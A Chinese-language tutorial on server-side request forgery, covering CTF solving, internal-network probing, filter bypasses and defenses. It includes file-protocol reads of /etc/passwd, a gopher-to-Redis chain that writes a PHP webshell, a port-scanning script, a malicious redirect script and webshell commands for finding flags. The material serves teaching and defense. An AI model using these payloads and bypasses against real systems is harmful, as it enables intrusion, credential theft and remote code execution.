SSRF漏洞原理与实战:从服务端请求伪造到内网渗透
1. 从“请求伪造”到“内网漫游”:SSRF漏洞的本质与实战价值
如果你是一名Web安全方向的CTF选手,或者正在从事渗透测试、安全研究,那么“SSRF”(Server-Side Request Forgery,服务端请求伪造)这个词你一定不陌生。它不像SQL注入那样直接“拖库”,也不像XSS那样直观地弹窗,但它的威力却常常被低估。简单来说,SSRF就是“借刀杀人”——利用一个存在缺陷的服务器应用,让它代替你去发起一个本不该由它发起的网络请求。这个请求的目标,往往是攻击者无法直接触及的“禁区”:比如服务器本地的127.0.0.1,或是公司内网中那些不对外暴露的OA系统、数据库、Redis服务。
为什么SSRF在CTF和实战中如此重要?因为它打通了从外网到内网的“任督二脉”。很多CTF题目,尤其是Web类,最终的Flag往往藏在内网某个端口的服务里。题目给你的只是一个对外的Web界面,真正的战场在它的背后。SSRF就是你手中的“穿甲弹”,让你能够绕过边界防护,直接对内网资产进行探测、识别甚至攻击。从读取本地敏感文件(file:///etc/passwd),到扫描内网端口识别服务,再到利用特定协议(如Gopher、Dict)攻击内网Redis、FastCGI等服务,SSRF的攻击面非常广。理解并掌握它,意味着你拥有了从单一漏洞点进行横向渗透和深度利用的能力,这正是高水平CTF竞赛和真实渗透测试的核心考察点之一。
2. SSRF漏洞的核心原理与常见触发场景拆解
要利用一个漏洞,首先得知道它从哪来。SSRF漏洞的根源在于:服务器应用程序在代表用户发起外部请求时,未能对用户提供的目标URL进行充分、有效的验证和过滤。
2.1 漏洞产生的核心逻辑
想象一下这个场景:一个网站提供了一个“网络图片转存”功能,你输入一个图片URL,它帮你下载并保存到它的服务器上。后端代码可能长这样:
<?php if (isset($_GET['url'])) { $imageData = file_get_contents($_GET['url']); // 关键危险函数 file_put_contents('/tmp/'.rand().'.jpg', $imageData); echo "图片保存成功!"; } ?>这段代码的逻辑很清晰:获取用户传入的url参数,直接用file_get_contents()函数去获取内容。问题就在于,这个函数太“听话”了。它不仅能访问http://、https://,还能访问file://、dict://、gopher://甚至ldap://等协议。如果攻击者传入file:///etc/passwd,服务器就会乖乖地把本地的密码文件内容读出来并返回。这就是最基础的SSRF。
2.2 常见的漏洞触发点(攻击面)
在实际的应用程序和CTF题目中,SSRF可能隐藏在以下功能背后:
远程资源加载:这是最典型的场景。
- 头像/图片上传:允许用户通过URL设置头像。
- 数据导入/导出:从指定URL导入RSS订阅、OPML文件、商品数据等。
- 网页抓取/预览:提供网页快照、链接预览功能。
- 文档处理:服务器端转换或处理来自URL的PDF、Word、图片文件(如ImageMagick、FFmpeg相关功能,可能衍生出更复杂的命令注入)。
内部服务集成:
- Webhook测试或回调:允许用户自定义Webhook地址进行测试。
- API代理或中转:服务器作为中间人,转发请求到另一个内部API。
- 数据库功能:某些数据库(如MongoDB、Elasticsearch)的REST API或内置功能可能接受外部URL作为参数。
社交功能:
- 分享预览:获取分享链接的标题和缩略图。
- 邮件客户端:收取外部邮箱邮件(POP3/IMAP/SMTP),如果服务器支持通过URL配置邮箱,也可能存在风险。
注意:并非所有能发起外部请求的功能都有SSRF风险。关键判断点在于用户是否能完全或部分控制请求的目标(协议、主机、端口、路径)。如果目标地址是固定的或经过严格白名单校验,风险就低。
2.3 后端常用的危险函数与类
不同的编程语言有不同的“危险函数”,它们是SSRF的“发射井”:
PHP:
file_get_contents():最常用,支持多种协议包装器。fsockopen():底层socket操作,可构造任意TCP数据包。curl_exec():功能强大的cURL库,但配置不当(如CURLOPT_FOLLOWLOCATION开启且未校验)会导致SSRF。SoapClient:在特定配置下(CRLF注入)可导致SSRF。
Java:
URLConnection(java.net.URL,java.net.HttpURLConnection)HttpClient(Apache Commons, OkHttp)ImageIO.read(new URL(url)):常用于图片处理。
Python:
urllib.request.urlopen()(Python 3)requests.get()/post():如果未对URL进行校验。httplib/http.client
Node.js:
http.get(),https.get()request库(已弃用但仍有大量使用)axios、node-fetch等第三方库。
实操心得:在代码审计时,可以全局搜索这些函数名,并追踪其参数来源。重点关注参数是否用户可控,以及之前是否有完整的URL解析、协议白名单、IP黑名单等过滤逻辑。
3. 从探测到利用:SSRF攻击链的完整实操解析
发现一个可能存在SSRF的参数只是第一步。如何将它转化为实实在在的漏洞利用,需要一套清晰的攻击流程。
3.1 第一步:漏洞确认与回显判断
当你找到一个像?url=、?image=、?path=这样的参数时,首先需要确认它是否真的存在SSRF,以及服务器返回了什么信息。
基本探测:
- 尝试访问一个你控制的公网服务器(如VPS),并在上面启动一个HTTP服务(
python3 -m http.server 80)或使用nc -lvp 80监听。然后提交http://your-vps-ip。查看你的服务器日志,如果收到了来自目标服务器的请求,恭喜你,SSRF存在。 - 尝试访问
http://127.0.0.1:80或http://localhost。观察响应:- 有回显:服务器将请求的结果(如端口Banner、页面内容、错误信息)直接输出到前端。这是最理想的情况,信息获取直接。
- 无回显(Blind SSRF):服务器发起了请求,但不会将响应内容返回给用户。你只能通过侧信道(如时间延迟、DNS解析记录、外带日志)来判断请求是否被执行。这增加了利用难度。
- 尝试访问一个你控制的公网服务器(如VPS),并在上面启动一个HTTP服务(
协议探测:
- 尝试
file:///etc/passwd(Linux)或file:///C:/Windows/win.ini(Windows)。如果返回了文件内容,说明file协议未被禁用。 - 尝试
dict://127.0.0.1:6379/info(探测Redis)。如果返回Redis的版本信息,说明dict协议可用且内网有Redis。 - 尝试
gopher://127.0.0.1:6379/_...(构造Redis命令)。Gopher协议功能强大,可以构造任意TCP数据包,是攻击内网无认证服务的利器。
- 尝试
3.2 第二步:信息收集与内网探测
确认漏洞后,下一步就是“摸清家底”。
端口扫描:
- 原理:利用SSRF,让目标服务器依次访问其自身的
127.0.0.1:PORT或内网IP段(如192.168.0.1:PORT,172.16.0.1:PORT,10.0.0.1:PORT)。 - 方法:编写一个简单的脚本,自动化提交请求。通过分析服务器的响应差异来判断端口状态:
- 连接成功:可能返回服务的Banner信息(如HTTP服务的
HTTP/1.1 200 OK,Redis的-ERR unknown command,MySQL的Bad handshake),或一个固定的错误页面。 - 连接被拒绝:通常伴随快速返回的错误(如
Connection refused)。 - 连接超时:端口可能被防火墙丢弃,或者服务不存在。
- 连接成功:可能返回服务的Banner信息(如HTTP服务的
- 技巧:关注响应时间。开放的端口建立TCP连接后,服务可能会等待数据,导致响应时间稍长;关闭的端口会立刻返回“拒绝连接”,响应很快。
- 原理:利用SSRF,让目标服务器依次访问其自身的
指纹识别:
- 发现开放端口后,进一步访问其默认路径,识别服务。例如:
http://127.0.0.1:8080/-> Tomcat管理页面?http://127.0.0.1:80/phpinfo.php-> 是否存在PHP信息泄露?http://127.0.0.1:9200/-> Elasticsearch?
- 对于
file协议,可以尝试读取常见的配置文件:/etc/passwd,/etc/shadow(需高权限)/proc/self/cmdline(查看当前进程信息)/proc/net/arp(查看内网其他主机)C:\Windows\System32\drivers\etc\hosts(Windows主机文件)
- 发现开放端口后,进一步访问其默认路径,识别服务。例如:
3.3 第三步:协议利用与深度攻击
这是SSRF最精彩的部分,利用特定协议与内网服务交互,实现从信息泄露到命令执行的飞跃。
利用
file协议读取敏感文件: 这是最直接的信息获取方式。除了系统文件,还可以读取Web应用的源码(如index.php)、配置文件(如config.php、web.config、.env),从中寻找数据库密码、API密钥、其他内网地址等。利用
dict协议探测与简单交互:dict协议通常用于字典服务器,但它会向目标端口发起一个TCP连接并发送指令。这可以用来:- 快速获取服务的Banner信息。
- 与Redis、Memcached等文本协议服务进行简单交互。例如,向Redis发送
INFO命令:dict://127.0.0.1:6379/INFO。
利用
gopher协议进行高级攻击(以Redis为例):Gopher协议是一个古老的协议,但它可以发送任意格式的TCP数据包,是SSRF中的“瑞士军刀”。一个经典的攻击链是:SSRF + Gopher + 未授权Redis -> 写入Webshell。- 前提:目标服务器内网存在一个无需认证的Redis服务(默认端口6379),并且你知道Web目录的绝对路径。
- 攻击步骤:
- 通过SSRF和
gopher协议,向Redis发送命令,将一段PHP代码写入Web目录下的一个文件(如shell.php)。 - 命令示例(原始Redis协议格式):
flushall set shell "<?php @eval($_POST['cmd']);?>" config set dir /var/www/html config set dbfilename shell.php save - 需要将这些命令转换成符合Redis协议格式(RESP协议)的字节流,然后进行URL编码,最后通过
gopher发送。通常使用脚本完成转换。 - 成功后,访问
http://target.com/shell.php?cmd=whoami即可执行系统命令。
- 通过SSRF和
- 工具:可以使用
redis-ssrf、Gopherus等工具自动化生成攻击Payload。
攻击其他内网Web应用: 如果通过端口扫描发现了内网的Struts2、ThinkPHP、Weblogic等存在已知漏洞的应用,可以直接通过SSRF构造HTTP请求去攻击它们。例如,利用Struts2的S2-045漏洞执行命令。
3.4 第四步:绕过常见的防御与过滤机制
实战和CTF中,开发者不会坐以待毙,他们会设置各种过滤规则。这时就需要“绕过”技巧。
IP地址格式绕过:
- 十进制整数:
2130706433等价于127.0.0.1。转换公式:(第一段 * 256^3) + (第二段 * 256^2) + (第三段 * 256) + 第四段。 - 十六进制整数:
0x7f000001等价于127.0.0.1。 - 八进制格式:
0177.0.0.01(Linux下curl支持)。 - 省略格式:
127.1等价于127.0.0.1。 - 特殊域名:
127.0.0.1.xip.io解析为127.0.0.1。xip.io是一个泛域名解析服务。
- 十进制整数:
URL解析差异绕过:
- 利用
@符号:http://example.com@127.0.0.1。某些解析库(如curl)会将其中的example.com视为用户名,127.0.0.1才是真正的主机。而一些简单的正则过滤可能只匹配://和第一个/之间的内容,误以为是example.com。 - 利用
#号:http://127.0.0.1#@evil.com。#是片段标识符,部分解析器会忽略#之后的内容,实际请求发往127.0.0.1。 - 利用DNS重绑定:这是一个高级技巧。攻击者控制一个域名,其DNS记录TTL极短,第一次解析返回一个合法的外网IP(通过过滤),第二次解析返回
127.0.0.1。服务器在第一次解析后可能缓存了IP,但某些应用会在发起请求前再次解析,导致请求发往本地。
- 利用
协议名混淆绕过:
- 大小写混合:
FiLe:///etc/passwd,HtTp://127.0.0.1。 - 嵌套协议:在某些特定场景下(如PHP的
curl),可能支持curl://、php://等包装器,可以尝试组合。
- 大小写混合:
利用重定向(302跳转): 如果目标服务器严格限制了协议和IP,但允许访问任意外网URL,可以搭建一个恶意重定向服务。
- 在你的VPS上部署一个简单的PHP脚本:
<?php header("Location: gopher://127.0.0.1:6379/_..."); ?> - 然后向目标提交
http://your-vps-ip/redirect.php。目标服务器会先请求你的VPS,收到302跳转响应后,再按照Location头去请求内网的gopher服务。关键在于,部分服务端请求库(尤其是旧版本或配置不当的curl)在跟随重定向时,可能会忽略对重定向后URL的二次校验。
- 在你的VPS上部署一个简单的PHP脚本:
注意事项:绕过技巧高度依赖于后端使用的具体库(
libcurl版本、urllib版本、自定义解析函数)及其配置。没有通用的银弹,需要结合错误信息、时间差等进行Fuzz测试。
4. CTF实战:经典SSRF题目思路与手把手解题
理论讲得再多,不如一道实战题来得透彻。下面我们模拟一个经典的CTF SSRF题目环境,一步步拆解解题思路。
4.1 题目场景模拟
假设我们拿到一个CTF靶场地址:http://ctf.example.com:8080/。页面只有一个简单的功能:“请输入一个图片URL,我们将为您展示它”。
前端代码:
<form action="/show_image" method="GET"> <input type="text" name="url" placeholder="http://example.com/image.jpg"> <input type="submit" value="Show Image"> </form>后端逻辑(推测):接收url参数,使用类似file_get_contents()的函数获取图片,并显示在页面上。
4.2 解题步骤实录
步骤1:基础探测与漏洞确认
- 我们输入一个公网图片地址
http://via.placeholder.com/150,正常显示图片。 - 尝试SSRF经典测试Payload:
file:///etc/passwd。- 结果A:页面返回了
/etc/passwd文件的内容。漏洞确认,且file协议可用。 - 结果B:页面返回“无效URL”或空白。可能被过滤。
- 结果A:页面返回了
- 尝试访问本地HTTP服务:
http://127.0.0.1/。- 结果:页面返回了“Apache2 Ubuntu Default Page”或类似内容。说明服务器本地80端口有Web服务,且SSRF存在,有回显。
步骤2:内网端口扫描与信息收集既然有回显,我们可以编写一个简单的Python脚本进行内网端口扫描。目标是127.0.0.1(本机)和常见的私有网段(如192.168.0.0/24、172.16.0.0/12、10.0.0.0/8)。但CTF题目通常简化环境,重点在127.0.0.1。
import requests import sys target = "http://ctf.example.com:8080/show_image" common_ports = [21, 22, 23, 25, 53, 80, 81, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 6379, 8080, 8443, 9000] for port in common_ports: url = f"http://127.0.0.1:{port}" params = {'url': url} try: resp = requests.get(target, params=params, timeout=3) # 根据响应内容判断 if len(resp.text) > 100: # 假设有内容的响应长度较大 print(f"[+] Port {port} might be OPEN. Response length: {len(resp.text)}") # 可以打印前500字符看看Banner print(resp.text[:500]) except requests.exceptions.Timeout: print(f"[-] Port {port} timed out.") except Exception as e: print(f"[-] Port {port} error: {e}")运行脚本后,我们发现除了80端口,6379端口也有较长的响应,返回了-ERR unknown command。这极有可能是Redis服务!因为Redis默认端口是6379,且当我们发送一个非Redis协议的命令(如HTTP请求)时,它会返回这个错误。
步骤3:利用Gopher协议攻击Redis目标:通过SSRF,利用Gopher协议向本地的Redis服务(127.0.0.1:6379)写入Webshell。
确定Web目录:首先需要知道网站根目录在哪里。我们可以通过读取Web服务器的配置文件或尝试常见路径来猜测。
- 尝试
file:///etc/apache2/sites-available/000-default.conf或file:///etc/nginx/sites-available/default。 - 尝试
file:///var/www/html/index.php。如果成功读取到PHP源码,说明目录是/var/www/html/。
- 尝试
构造Redis攻击Payload:我们需要向Redis发送一系列命令,将一句话木马写入Web目录。
- 原始命令序列:
flushall set shell "<?php system($_GET['cmd']);?>" config set dir /var/www/html config set dbfilename shell.php save - 需要将其转换为Redis的RESP协议格式,并进行URL编码。这是一个繁琐的过程,我们可以使用现成工具
Gopherus。
工具会交互式地询问Web路径和Payload,然后生成一个编码后的Gopher URL。python gopherus.py --exploit redis
- 原始命令序列:
发起SSRF攻击:将生成的Gopher URL作为
url参数提交。http://ctf.example.com:8080/show_image?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Ashell%0D%0A%3...(很长一串编码)如果成功,Redis会将数据保存到
/var/www/html/shell.php。验证与获取Flag:
- 访问
http://ctf.example.com:8080/shell.php?cmd=ls -la,查看是否能够执行命令。 - 通常Flag文件名为
flag、flag.txt、flag.php等,或者藏在根目录/、/home/、/var/www/下。使用命令find / -name '*flag*' 2>/dev/null或cat /flag来读取Flag。
- 访问
4.3 另一种常见题型:绕过过滤与协议限制
很多CTF题目会增加过滤,例如:
- 黑名单过滤了
127.0.0.1、localhost、file、gopher、dict等关键词。 - 只允许
http://和https://协议。 - 解析URL后,检查host是否属于内网IP段。
解题思路:
- 利用重定向:这是最常用的绕过方式。在自己的服务器上设置一个302跳转,跳转到被禁止的协议或IP。如前文所述,关键在于后端是否对重定向目标做二次校验。
- 利用IP格式绕过:使用
2130706433、0x7f000001、127.1、127.0.0.1.xip.io等变体。 - 利用URL解析歧义:尝试
http://foo@127.0.0.1:80@evil.com/或http://127.0.0.1:80#.evil.com。不同的URL解析库(如PHP的parse_url和Python的urllib.parse)在处理这些特殊字符时行为不一致,可能导致过滤被绕过。 - 攻击其他内网主机:如果过滤了
127.0.0.1但没过滤整个192.168网段,可以扫描192.168.0.2、192.168.1.1等其他内网IP,也许Flag就在另一台机器上。
5. 防御策略与CTF出题人视角
理解了攻击,才能更好地防御。从开发者和CTF出题人的角度看,如何构建一个“安全”的SSRF功能,或者如何设计一道有挑战性的SSRF题目?
5.1 开发者防御指南
统一网络层控制:
- 使用白名单:严格限制应用能访问的域名或IP地址列表。这是最有效的方法。
- 禁用不必要的URL协议:只允许
http和https。在PHP中,可以使用stream_get_wrappers()检查并禁用file、gopher、dict等包装器。 - 使用内网DNS:确保内部服务使用域名访问,并且该域名在公网无法解析。
应用层输入校验:
- 解析与校验:使用标准的URL解析库(如
url.parsein Node.js,urllib.parsein Python)获取host,然后进行校验。 - 检查IP范围:解析出host后,解析为IP地址,判断是否属于内网保留地址(
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,::1/128等)。 - 避免递归请求:禁止服务器响应中的Location头指向内网地址(防止重定向攻击)。
- 解析与校验:使用标准的URL解析库(如
最小化响应信息:
- 统一错误页面:无论目标服务返回连接错误、超时还是拒绝,都返回统一的、信息模糊的错误提示(如“图片加载失败”),避免攻击者通过差异进行端口扫描。
使用安全的替代方案:
- 如果功能是下载用户指定的图片,可以考虑先下载到临时目录,然后通过图像处理库(如GD、PIL)检查文件头,确认是有效图片后再进行后续操作。非图片文件直接丢弃。
5.2 CTF出题思路与考点设计
作为CTF出题人,SSRF题目可以设计得非常巧妙:
基础考察点:
- 协议利用:直接使用
file协议读Flag。考点是识别SSRF和知道file协议。 - 内网探测:Flag在内网某台机器的Web服务根目录下。考点是端口扫描和基本的网络知识(内网IP段)。
- 协议利用:直接使用
进阶考察点:
- 协议组合与绕过:禁用
file和gopher,但允许http。需要选手利用http协议访问一个内网服务(如Redis的HTTP接口),或者利用重定向漏洞。 - DNS重绑定:题目后端会解析域名并检查IP,但存在DNS重绑定漏洞。考点是对DNS重绑定原理的理解和利用。
- 非HTTP协议攻击:要求选手利用
gopher或dict协议攻击内网的FastCGI、Memcached等服务,获取Shell。考点是对这些协议和对应服务漏洞的熟悉程度。
- 协议组合与绕过:禁用
综合考察点:
- SSRF + XXE:SSRF点用于触发一个XXE漏洞,通过XXE进行内网探测或文件读取。
- SSRF + CRLF:在某个HTTP头注入点,利用CRLF注入构造一个内部请求(SSRF),实现请求走私或缓存投毒。
- Blind SSRF:无回显的SSRF,要求选手通过DNS外带或时间盲注的方式获取信息。例如,让服务器访问
http://your-subdomain.ceye.io,通过DNS查询记录来判断端口开放状态。
5.3 实战与CTF中的工具推荐
探测与扫描:
- Burp Suite Collaborator:用于检测Blind SSRF的绝佳工具,它能提供临时的DNS和HTTP接收地址,自动记录任何到达该地址的请求。
- SSRFmap:一个自动化的SSRF测试工具,内置多种Payload和绕过技巧。
- Gopherus:专门用于生成攻击Redis、MySQL、FastCGI等服务的Gopher Payload。
编码与转换:
- 手动构造Gopher Payload时,需要理解Redis的RESP协议。可以先用
nc本地测试命令,然后用Python脚本进行编码转换。 - 在线工具如
urlencode.org、cyberchef对于快速编解码很有帮助。
- 手动构造Gopher Payload时,需要理解Redis的RESP协议。可以先用
内网发现:
- 一旦通过SSRF进入内网,可以尝试将内网流量代理出来,使用
reGeorg、EarthWorm等工具建立隧道,然后用nmap、gobuster等工具进行更深入的内网渗透。这在实战中更为常见,CTF中由于环境限制较少用到。
- 一旦通过SSRF进入内网,可以尝试将内网流量代理出来,使用
SSRF是一个看似简单却深不见底的漏洞。它考验的不仅是漏洞利用的技巧,更是对网络协议、服务交互和系统边界的深刻理解。从简单的文件读取到复杂的内网漫游,每一次对SSRF的深入探索,都会让你对Web安全的整体视角提升一个层次。在CTF中解决它,能带来智力上的快感;在实战中利用它,则可能成为突破坚固防线的关键一击。
